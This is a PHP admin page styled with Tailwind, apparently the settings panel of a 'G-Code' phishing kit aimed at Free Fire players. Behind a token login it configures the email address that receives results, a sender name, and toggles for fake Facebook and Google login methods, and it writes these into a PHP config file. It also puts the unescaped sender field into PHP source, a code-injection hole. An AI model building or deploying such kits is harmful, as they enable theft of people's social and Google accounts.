<?php
session_start();

require "token.php";

$emailFile = '../email.php';

function gcodeParseEmailConfig($file) {
    $content = file_get_contents($file);
    $config = ['myEmail' => '', 'sender' => '', 'fb' => 'no', 'gp' => 'no'];
    if (preg_match('/\$myEmail\s*=\s*"([^"]+)"/', $content, $m)) $config['myEmail'] = $m[1];
    if (preg_match('/\$sender\s*=\s*"([^"]+)"/', $content, $m)) $config['sender'] = $m[1];
    if (preg_match('/"fb"\s*=>\s*"([^"]+)"/', $content, $m)) $config['fb'] = $m[1];
    if (preg_match('/"gp"\s*=>\s*"([^"]+)"/', $content, $m)) $config['gp'] = $m[1];
    return $config;
}

function gcodeUpdateEmailConfig($file, $myEmail, $sender, $fb, $gp) {
    $content  = '<?php' . "\n";
    $content .= '$myEmail = "' . $myEmail . '";' . "\n";
    $content .= '$sender = "' . $sender . '";' . "\n";
    $content .= '$gcodeLogin = [' . "\n";
    $content .= '    "fb" => "' . $fb . '",' . "\n";
    $content .= '    "gp" => "' . $gp . '",' . "\n";
    $content .= '];' . "\n";
    return file_put_contents($file, $content);
}

$gcodeTokenError = '';
$gcodeSaveSuccess = false;
$gcodeSaveError = '';

if (isset($_POST['action'])) {
    if ($_POST['action'] === 'login') {
        if (trim($_POST['token'] ?? '') === $ACCESS_TOKEN) {
            $_SESSION['gcode_auth'] = true;
        } else {
            $gcodeTokenError = 'ngapain bro';
        }
    } elseif ($_POST['action'] === 'logout') {
        session_destroy();
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } elseif ($_POST['action'] === 'save' && isset($_SESSION['gcode_auth'])) {
        $myEmail = trim($_POST['myEmail'] ?? '');
        $sender  = trim($_POST['sender'] ?? '');
        $fb = isset($_POST['fb']) ? 'on' : 'no';
        $gp = isset($_POST['gp']) ? 'on' : 'no';
        if (empty($myEmail) || empty($sender)) {
            $gcodeSaveError = 'Email dan Sender tidak boleh kosong.';
        } elseif (!filter_var($myEmail, FILTER_VALIDATE_EMAIL)) {
            $gcodeSaveError = 'Format email tidak valid.';
        } else {
            if (gcodeUpdateEmailConfig($emailFile, $myEmail, $sender, $fb, $gp) !== false) {
                $gcodeSaveSuccess = true;
            } else {
                $gcodeSaveError = 'Gagal menyimpan. Periksa permission file.';
            }
        }
    }
}

$gcodeIsAuth = isset($_SESSION['gcode_auth']) && $_SESSION['gcode_auth'] === true;
$gcodeCfg = $gcodeIsAuth ? gcodeParseEmailConfig($emailFile) : [];
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>G-Code | Settings Panel</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<script>
tailwind.config = {
    theme: {
        extend: {
            colors: {
                primary: { 50:'#eff6ff', 100:'#dbeafe', 200:'#bfdbfe', 300:'#93c5fd', 400:'#60a5fa', 500:'#3b82f6', 600:'#2563eb', 700:'#1d4ed8', 800:'#1e40af', 900:'#1e3a8a' },
                dark: { 900:'#0a0f1e', 800:'#0f172a', 700:'#1e293b', 600:'#253449', 500:'#334155' }
            },
            animation: {
                'gcode-fade-in': 'gcodeFadeIn 0.4s ease-out',
                'gcode-slide-up': 'gcodeSlideUp 0.5s cubic-bezier(0.16,1,0.3,1)',
                'gcode-slide-down': 'gcodeSlideDown 0.3s ease-out',
                'gcode-pulse-ring': 'gcodePulseRing 2s infinite',
                'gcode-shimmer': 'gcodeShimmer 2.5s infinite',
                'gcode-bounce-in': 'gcodeBounceIn 0.5s cubic-bezier(0.34,1.56,0.64,1)',
            },
            keyframes: {
                gcodeFadeIn: { from:{ opacity:'0' }, to:{ opacity:'1' } },
                gcodeSlideUp: { from:{ opacity:'0', transform:'translateY(28px)' }, to:{ opacity:'1', transform:'translateY(0)' } },
                gcodeSlideDown: { from:{ opacity:'0', transform:'translateY(-10px)' }, to:{ opacity:'1', transform:'translateY(0)' } },
                gcodePulseRing: { '0%,100%':{ boxShadow:'0 0 0 0 rgba(59,130,246,0.5)' }, '50%':{ boxShadow:'0 0 0 10px rgba(59,130,246,0)' } },
                gcodeShimmer: { '0%':{ backgroundPosition:'-200% 0' }, '100%':{ backgroundPosition:'200% 0' } },
                gcodeBounceIn: { from:{ opacity:'0', transform:'scale(0.88)' }, to:{ opacity:'1', transform:'scale(1)' } },
            }
        }
    }
}
</script>
<style>
body { background: #080e1d; }
.gcode-glass { background: rgba(13,20,40,0.8); backdrop-filter: blur(24px); -webkit-backdrop-filter: blur(24px); }
.gcode-card-border { border: 1px solid rgba(59,130,246,0.15); }
.gcode-card-shadow { box-shadow: 0 4px 6px -1px rgba(0,0,0,0.5), 0 24px 64px -12px rgba(0,0,0,0.6), 0 0 0 1px rgba(59,130,246,0.08), inset 0 1px 0 rgba(255,255,255,0.04); }
.gcode-btn-primary { background: linear-gradient(135deg, #2563eb 0%, #1d4ed8 100%); }
.gcode-btn-primary:hover { background: linear-gradient(135deg, #3b82f6 0%, #2563eb 100%); box-shadow: 0 0 24px rgba(59,130,246,0.35); }
.gcode-input { background: rgba(15,23,42,0.9); border: 1px solid rgba(71,85,105,0.6); }
.gcode-input:focus { border-color: #3b82f6; box-shadow: 0 0 0 3px rgba(59,130,246,0.15); outline: none; }
.gcode-input:hover:not(:focus) { border-color: rgba(100,116,139,0.8); }
.gcode-toggle { width: 44px; height: 24px; border-radius: 12px; position: relative; cursor: pointer; transition: background 0.25s, box-shadow 0.25s; background: #1e293b; border: 1px solid #334155; }
.gcode-toggle.gcode-toggle-on { background: #2563eb; border-color: #2563eb; box-shadow: 0 0 12px rgba(59,130,246,0.4); }
.gcode-toggle-knob { position: absolute; top: 2px; left: 2px; width: 18px; height: 18px; border-radius: 50%; background: #fff; box-shadow: 0 1px 4px rgba(0,0,0,0.3); transition: transform 0.25s cubic-bezier(0.34,1.56,0.64,1); }
.gcode-toggle.gcode-toggle-on .gcode-toggle-knob { transform: translateX(20px); }
.gcode-mesh-bg {
    background-image:
        radial-gradient(ellipse 70% 50% at 15% -5%, rgba(37,99,235,0.14) 0%, transparent 60%),
        radial-gradient(ellipse 50% 40% at 85% 105%, rgba(29,78,216,0.10) 0%, transparent 55%);
}
.gcode-grid-pattern {
    background-image: linear-gradient(rgba(59,130,246,0.025) 1px, transparent 1px), linear-gradient(90deg, rgba(59,130,246,0.025) 1px, transparent 1px);
    background-size: 48px 48px;
}
.gcode-shimmer-bar {
    height: 2px;
    background: linear-gradient(90deg, transparent 0%, rgba(96,165,250,0.8) 40%, rgba(147,197,253,1) 50%, rgba(96,165,250,0.8) 60%, transparent 100%);
    background-size: 200% 100%;
    animation: gcodeShimmer 2.5s infinite;
}
@keyframes gcodeShimmer { 0%{ background-position: -200% 0 } 100%{ background-position: 200% 0 } }
.gcode-live-dot { width: 8px; height: 8px; border-radius: 50%; background: #22c55e; box-shadow: 0 0 8px #22c55e; animation: gcodeBlink 2s infinite; }
@keyframes gcodeBlink { 0%,100%{ opacity:1 } 50%{ opacity:0.3 } }
.gcode-divider { height: 1px; background: linear-gradient(90deg, transparent, rgba(71,85,105,0.5), transparent); }
.gcode-login-card { animation: gcodeSlideUp 0.5s cubic-bezier(0.16,1,0.3,1); }
.gcode-panel-card { animation: gcodeSlideUp 0.5s cubic-bezier(0.16,1,0.3,1); }
.gcode-alert-error { animation: gcodeSlideDown 0.3s ease-out; }
.gcode-alert-success { animation: gcodeBounceIn 0.5s cubic-bezier(0.34,1.56,0.64,1); }
.gcode-icon-wrap { animation: gcodePulseRing 2s infinite; }
.gcode-login-btn-eye { transition: color 0.15s, background 0.15s; }
.gcode-logout-btn { transition: color 0.2s, background 0.2s, border-color 0.2s; }
.gcode-method-card { transition: background 0.2s, border-color 0.2s; }
.gcode-save-btn { transition: background 0.2s, box-shadow 0.2s, opacity 0.2s, transform 0.1s; }
</style>
</head>
<body class="min-h-screen gcode-mesh-bg gcode-grid-pattern text-slate-100 flex items-center justify-center p-4 sm:p-6">

<?php if (!$gcodeIsAuth): ?>

<div class="w-full max-w-sm gcode-login-card">
    <div class="text-center mb-8">
        <div class="relative inline-flex mb-5">
            <div class="gcode-icon-wrap w-16 h-16 rounded-2xl bg-gradient-to-br from-primary-600 to-primary-800 flex items-center justify-center">
                <i class="fas fa-shield-halved text-white text-2xl"></i>
            </div>
            <span class="absolute -bottom-1 -right-1 w-5 h-5 bg-red-500 rounded-full flex items-center justify-center">
                <i class="fas fa-lock text-white text-[8px]"></i>
            </span>
        </div>
        <h1 class="text-xl font-bold tracking-tight">Restricted Access</h1>
        <p class="text-slate-400 text-sm mt-1">???</p>
    </div>

    <div class="gcode-glass gcode-card-border gcode-card-shadow rounded-2xl overflow-hidden">
        <div class="gcode-shimmer-bar"></div>
        <div class="p-6">

            <?php if ($gcodeTokenError): ?>
            <div class="gcode-alert-error flex items-start gap-3 bg-red-500/10 border border-red-500/25 rounded-xl px-4 py-3 mb-5">
                <div class="w-6 h-6 rounded-full bg-red-500/20 flex items-center justify-center flex-shrink-0 mt-0.5">
                    <i class="fas fa-xmark text-red-400 text-xs"></i>
                </div>
                <p class="text-red-300 text-sm leading-relaxed"><?= htmlspecialchars($gcodeTokenError) ?></p>
            </div>
            <?php endif; ?>

            <form method="POST" id="gcodeLoginForm">
                <input type="hidden" name="action" value="login">
                <div class="mb-5">
                    <label class="block text-xs font-bold text-slate-400 uppercase tracking-widest mb-2.5">
                        <i class="fas fa-key text-primary-400 mr-1.5"></i>Access Token
                    </label>
                    <div class="relative">
                        <input type="password" name="token" id="gcodeTokenInput" autocomplete="off"
                            placeholder="Input your access token"
                            class="gcode-input w-full rounded-xl px-4 py-3 pr-12 text-sm text-slate-100 placeholder-slate-600 transition-all duration-200 font-mono">
                        <button type="button" onclick="gcodeToggleToken()"
                            class="gcode-login-btn-eye absolute right-3 top-1/2 -translate-y-1/2 w-8 h-8 flex items-center justify-center rounded-lg text-slate-500 hover:text-slate-300 hover:bg-slate-700/50">
                            <i class="fas fa-eye text-sm" id="gcodeEyeIcon"></i>
                        </button>
                    </div>
                </div>
                <button type="submit"
                    class="gcode-btn-primary gcode-save-btn w-full text-white font-semibold rounded-xl py-3 text-sm flex items-center justify-center gap-2.5 group active:scale-[0.98]">
                    <i class="fas fa-unlock-keyhole transition-transform duration-200 group-hover:rotate-12"></i>
                    Execute
                </button>
            </form>

            <div class="gcode-divider my-5"></div>
            <div class="flex items-center justify-center gap-2 text-xs text-slate-600">
                <span>&copy; <?=date('Y');?>. Made with &hearts; by G-Code</span>
            </div>
        </div>
    </div>
</div>

<?php else: ?>

<div class="w-full max-w-lg gcode-panel-card">

    <div class="gcode-glass gcode-card-border gcode-card-shadow rounded-2xl overflow-hidden">
        <div class="gcode-shimmer-bar"></div>

        <div class="p-5 sm:p-6">
            <div class="flex items-center gap-3 mb-6">
                <div class="w-9 h-9 rounded-xl bg-primary-600/15 border border-primary-500/20 flex items-center justify-center flex-shrink-0">
                    <i class="fas fa-sliders text-primary-400 text-sm"></i>
                </div>
                <div>
                    <h2 class="font-bold text-sm leading-none">Admin Panel</h2>
                    <p class="text-xs text-slate-500 mt-1">Manage ur data</p>
                </div>
            </div>

            <?php if ($gcodeSaveSuccess): ?>
            <div class="gcode-alert-success flex items-center gap-3 bg-green-500/10 border border-green-500/25 rounded-xl px-4 py-3 mb-5">
                <div class="w-7 h-7 rounded-full bg-green-500/20 flex items-center justify-center flex-shrink-0">
                    <i class="fas fa-check text-green-400 text-xs"></i>
                </div>
                <p class="text-green-300 text-sm font-medium">Konfigurasi berhasil disimpan!</p>
            </div>
            <?php endif; ?>

            <?php if ($gcodeSaveError): ?>
            <div class="gcode-alert-error flex items-center gap-3 bg-red-500/10 border border-red-500/25 rounded-xl px-4 py-3 mb-5">
                <div class="w-7 h-7 rounded-full bg-red-500/20 flex items-center justify-center flex-shrink-0">
                    <i class="fas fa-triangle-exclamation text-red-400 text-xs"></i>
                </div>
                <p class="text-red-300 text-sm"><?= htmlspecialchars($gcodeSaveError) ?></p>
            </div>
            <?php endif; ?>

            <form method="POST" id="gcodeSettingsForm">
                <input type="hidden" name="action" value="save">

                <div class="grid grid-cols-1 sm:grid-cols-2 gap-4 mb-5">
                    <div class="sm:col-span-2">
                        <label class="block text-xs font-bold text-slate-400 uppercase tracking-widest mb-2">
                            <i class="fas fa-at text-primary-400 mr-1.5"></i>Email Address
                        </label>
                        <div class="relative">
                            <input type="email" name="myEmail" id="gcodeInputEmail"
                                value="<?= htmlspecialchars($gcodeCfg['myEmail']) ?>"
                                placeholder="email@example.com"
                                class="gcode-input w-full rounded-xl px-4 py-2.5 pl-10 text-sm text-slate-100 placeholder-slate-600 transition-all duration-200 font-mono">
                            <i class="fas fa-envelope absolute left-3.5 top-1/2 -translate-y-1/2 text-slate-600 text-xs"></i>
                        </div>
                    </div>

                    <div class="sm:col-span-2">
                        <label class="block text-xs font-bold text-slate-400 uppercase tracking-widest mb-2">
                            <i class="fas fa-signature text-primary-400 mr-1.5"></i>Sender Name
                        </label>
                        <div class="relative">
                            <input type="text" name="sender" id="gcodeInputSender"
                                value="<?= htmlspecialchars($gcodeCfg['sender']) ?>"
                                placeholder="G-Code | Free Fire"
                                class="gcode-input w-full rounded-xl px-4 py-2.5 pl-10 text-sm text-slate-100 placeholder-slate-600 transition-all duration-200">
                            <i class="fas fa-user absolute left-3.5 top-1/2 -translate-y-1/2 text-slate-600 text-xs"></i>
                        </div>
                    </div>
                </div>

                <div class="gcode-divider mb-5"></div>

                <p class="text-xs font-bold text-slate-400 uppercase tracking-widest mb-3">
                    <i class="fas fa-right-to-bracket text-primary-400 mr-1.5"></i>Login Methods
                </p>

                <div class="space-y-2.5 mb-5">
                    <div class="gcode-method-card flex items-center justify-between bg-slate-800/50 hover:bg-slate-800/80 border border-slate-700/50 rounded-xl px-4 py-3.5 cursor-pointer group"
                        id="gcodeFbCard" onclick="gcodeToggleMethod('fb')">
                        <div class="flex items-center gap-3">
                            <div class="w-9 h-9 rounded-xl bg-blue-500/10 border border-blue-500/20 flex items-center justify-center flex-shrink-0 group-hover:bg-blue-500/15 transition-colors">
                                <i class="fab fa-facebook-f text-blue-400 text-sm"></i>
                            </div>
                            <div>
                                <p class="text-sm font-semibold leading-none">Facebook</p>
                                <p class="text-xs mt-1" id="gcodeFbStatus"><?= $gcodeCfg['fb'] === 'on' ? '<span class="text-green-400"><i class="fas fa-circle-check mr-1 text-[10px]"></i>Aktif</span>' : '<span class="text-slate-500"><i class="fas fa-circle-xmark mr-1 text-[10px]"></i>Nonaktif</span>' ?></p>
                            </div>
                        </div>
                        <input type="checkbox" name="fb" id="gcodeFbCheckbox" <?= $gcodeCfg['fb'] === 'on' ? 'checked' : '' ?> class="sr-only">
                        <div class="gcode-toggle <?= $gcodeCfg['fb'] === 'on' ? 'gcode-toggle-on' : '' ?>" id="gcodeFbToggle">
                            <div class="gcode-toggle-knob"></div>
                        </div>
                    </div>

                    <div class="gcode-method-card flex items-center justify-between bg-slate-800/50 hover:bg-slate-800/80 border border-slate-700/50 rounded-xl px-4 py-3.5 cursor-pointer group"
                        id="gcodeGpCard" onclick="gcodeToggleMethod('gp')">
                        <div class="flex items-center gap-3">
                            <div class="w-9 h-9 rounded-xl bg-red-500/10 border border-red-500/20 flex items-center justify-center flex-shrink-0 group-hover:bg-red-500/15 transition-colors">
                                <i class="fab fa-google text-red-400 text-sm"></i>
                            </div>
                            <div>
                                <p class="text-sm font-semibold leading-none">Google</p>
                                <p class="text-xs mt-1" id="gcodeGpStatus"><?= $gcodeCfg['gp'] === 'on' ? '<span class="text-green-400"><i class="fas fa-circle-check mr-1 text-[10px]"></i>Aktif</span>' : '<span class="text-slate-500"><i class="fas fa-circle-xmark mr-1 text-[10px]"></i>Nonaktif</span>' ?></p>
                            </div>
                        </div>
                        <input type="checkbox" name="gp" id="gcodeGpCheckbox" <?= $gcodeCfg['gp'] === 'on' ? 'checked' : '' ?> class="sr-only">
                        <div class="gcode-toggle <?= $gcodeCfg['gp'] === 'on' ? 'gcode-toggle-on' : '' ?>" id="gcodeGpToggle">
                            <div class="gcode-toggle-knob"></div>
                        </div>
                    </div>
                </div>

                <button type="submit" id="gcodeSaveBtn"
                    class="gcode-btn-primary gcode-save-btn w-full text-white font-semibold rounded-xl py-3 text-sm flex items-center justify-center gap-2.5 group active:scale-[0.98]">
                    <i class="fas fa-floppy-disk transition-transform duration-200 group-hover:scale-110" id="gcodeSaveBtnIcon"></i>
                    <span id="gcodeSaveBtnText">Save Configuration</span>
                </button>
            </form>
        </div>

        <div class="border-t border-slate-700/30 bg-slate-900/40 px-5 sm:px-6 py-3 flex items-center justify-between">
            <div class="flex items-center text-center gap-2 text-xs text-slate-600">
                <span>&copy; 2026. Made with &hearts; by G-Code</span>
            </div>
        </div>
    </div>
</div>

<?php endif; ?>

<script>
function gcodeToggleToken() {
    const i = document.getElementById('gcodeTokenInput');
    const e = document.getElementById('gcodeEyeIcon');
    i.type = i.type === 'password' ? 'text' : 'password';
    e.className = i.type === 'password' ? 'fas fa-eye text-sm' : 'fas fa-eye-slash text-sm';
}

function gcodeToggleMethod(id) {
    const idMap = { fb: 'gcodeFb', gp: 'gcodeGp' };
    const prefix = idMap[id];
    const cb = document.getElementById(prefix + 'Checkbox');
    const toggle = document.getElementById(prefix + 'Toggle');
    const card = document.getElementById(prefix === 'gcodeFb' ? 'gcodeFbCard' : 'gcodeGpCard');
    const status = document.getElementById(prefix + 'Status');

    cb.checked = !cb.checked;

    if (cb.checked) {
        toggle.classList.add('gcode-toggle-on');
        card.style.borderColor = 'rgba(59,130,246,0.35)';
        status.innerHTML = '<span class="text-green-400"><i class="fas fa-circle-check mr-1 text-[10px]"></i>Aktif</span>';
    } else {
        toggle.classList.remove('gcode-toggle-on');
        card.style.borderColor = '';
        status.innerHTML = '<span class="text-slate-500"><i class="fas fa-circle-xmark mr-1 text-[10px]"></i>Nonaktif</span>';
    }
}

const gcodeForm = document.getElementById('gcodeSettingsForm');
if (gcodeForm) {
    gcodeForm.addEventListener('submit', function() {
        const btn = document.getElementById('gcodeSaveBtn');
        const txt = document.getElementById('gcodeSaveBtnText');
        const icon = document.getElementById('gcodeSaveBtnIcon');
        btn.disabled = true;
        btn.classList.add('opacity-70', 'cursor-not-allowed');
        icon.className = 'fas fa-circle-notch fa-spin';
        txt.textContent = 'Menyimpan...';
    });

    ['gcodeFbCard', 'gcodeGpCard'].forEach(cardId => {
        const el = document.getElementById(cardId);
        if (el && el.querySelector('.gcode-toggle').classList.contains('gcode-toggle-on')) {
            el.style.borderColor = 'rgba(59,130,246,0.35)';
        }
    });
}
</script>
</body>
</html>